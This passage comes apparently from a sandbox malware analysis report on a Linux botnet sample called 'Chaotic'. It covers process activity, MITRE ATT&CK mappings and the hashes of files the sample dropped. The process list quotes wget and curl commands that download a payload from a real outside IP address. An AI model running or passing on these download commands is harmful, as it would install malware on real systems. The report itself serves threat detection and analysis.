  chmod +x busybox Chaotic config-err-GvQjsb netplan_dhxygxhm ohshit.sh snap-private-tmp ssh-VtpJT0ft9rb9 systemd-private-e2303c266ec2474f9179c619072bd956-bolt.service-A0hPlz systemd-private-e2303c266ec2474f9179c619072bd956-colord.service-4MsMwE systemd-private-e2303c266ec2474f9179c619072bd956-ModemManager.service-OngOPW systemd-private-e2303c266ec2474f9179c619072bd956-systemd-resolved.service-sByXM9 ub8ehJSePAfc9FYqZIT6.arc ub8ehJSePAfc9FYqZIT6.arm ub8ehJSePAfc9FYqZIT6.arm5 ub8ehJSePAfc9FYqZIT6.arm6 ub8ehJSePAfc9FYqZIT6.arm7 ub8ehJSePAfc9FYqZIT6.i686 ub8ehJSePAfc9FYqZIT6.m68k ub8ehJSePAfc9FYqZIT6.mips ub8ehJSePAfc9FYqZIT6.mips64 ub8ehJSePAfc9FYqZIT6.mpsl ub8ehJSePAfc9FYqZIT6.ppc ub8ehJSePAfc9FYqZIT6.sparc ub8ehJSePAfc9FYqZIT6.x86 ub8ehJSePAfc9FYqZIT6.x86_64
  2⤵
  - File and Directory Permissions Modification
  PID:1662
- /tmp/Chaotic
  ./Chaotic
  2⤵
  - Executes dropped EXE
  - Modifies Watchdog functionality
  - Writes file to system bin folder
  - Reads runtime system information
  PID:1663
- /usr/bin/wget
  wget http://141.11.33.73/HideChaotic/ub8ehJSePAfc9FYqZIT6.sh4
  2⤵
  - Writes file to tmp directory
  PID:1669
- /usr/bin/curl
  curl -O http://141.11.33.73/HideChaotic/ub8ehJSePAfc9FYqZIT6.sh4
  2⤵
  - Writes file to tmp directory
  PID:1670
- /bin/chmod
  chmod +x busybox Chaotic config-err-GvQjsb netplan_dhxygxhm ohshit.sh snap-private-tmp ssh-VtpJT0ft9rb9 systemd-private-e2303c266ec2474f9179c619072bd956-bolt.service-A0hPlz systemd-private-e2303c266ec2474f9179c619072bd956-colord.service-4MsMwE systemd-private-e2303c266ec2474f9179c619072bd956-ModemManager.service-OngOPW systemd-private-e2303c266ec2474f9179c619072bd956-systemd-resolved.service-sByXM9 ub8ehJSePAfc9FYqZIT6.arc ub8ehJSePAfc9FYqZIT6.arm ub8ehJSePAfc9FYqZIT6.arm5 ub8ehJSePAfc9FYqZIT6.arm6 ub8ehJSePAfc9FYqZIT6.arm7 ub8ehJSePAfc9FYqZIT6.i686 ub8ehJSePAfc9FYqZIT6.m68k ub8ehJSePAfc9FYqZIT6.mips ub8ehJSePAfc9FYqZIT6.mips64 ub8ehJSePAfc9FYqZIT6.mpsl ub8ehJSePAfc9FYqZIT6.ppc ub8ehJSePAfc9FYqZIT6.sh4 ub8ehJSePAfc9FYqZIT6.sparc ub8ehJSePAfc9FYqZIT6.x86 ub8ehJSePAfc9FYqZIT6.x86_64
  2⤵
  - File and Directory Permissions Modification
  PID:1672
- /tmp/Chaotic
  ./Chaotic
  2⤵
  - Executes dropped EXE
  - Modifies Watchdog functionality
  - Writes file to system bin folder
  - Reads runtime system information
  PID:1673

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

File and Directory Permissions Modification

T1222

Linux and Mac File and Directory Permissions Modification

T1222.002

Impair Defenses

T1562

Credential Access

Discovery

System Network Configuration Discovery

T1016

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

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Downloads

/tmp/Chaotic

Filesize
37KB

MD5
45f47c10e0d27c00ac46899fda99f1f3

SHA1
f68e23694abb254e1a5c7b169547516baead730b

SHA256
39e7164325dd360f891bf0f9f8e7bebb1c90eb071bb5e98d621793d416647482

SHA512
dde1d3c1a50cc5647bb2003309da0d1211bb2261de1655ae21bc7782bf36648b08793667ab5b91992f40829f019ee3cda4de48caf5245960b162c7f5f6b3bc6e

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/tmp/busybox

Filesize
2.0MB

MD5
b4dede5fc0b1bad5cb8e901bde126b97

SHA1
10cbe9a418ad84a1ed297948539d37aeb58dd810

SHA256
a9f0735d28f9a6a4f2634d3b144156f7b3df3b476a16a5ab0c7bdf98d74dd020

SHA512
45665ce3a42f63a01fdef517e0c4cb943efce64c8a32d3ce07ab4f1fafc23cda77f378d324342efc79dc9d2293c4b4454d06c1cf4997b9e866784de01cb546e6

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/tmp/ub8ehJSePAfc9FYqZIT6.arc

Filesize
113KB

MD5
1dcd23c847d8cba5b5d634511b6bf9ee

SHA1
06e038d11d3a5f7b0875e3594531b5a9df4dab79

SHA256
0b7c0bf25d7092d28d5f7e41087c53309ae1c39f2f8b60517b3e9cd89404312e

SHA512
d5ee9e1552a0df29fb9ff1fc9e651c26afc8b2415df33cdf97ac27ecb9d327b56d0d49cd0006ccc8ed9807642ef82f44ea00a69349eaba17241f78eaae5a2ca4

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Analysis

Sharing

General

Malware Config

Extracted

Extracted

Signatures

Processes

Network

MITRE ATT&CK Enterprise v15

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Downloads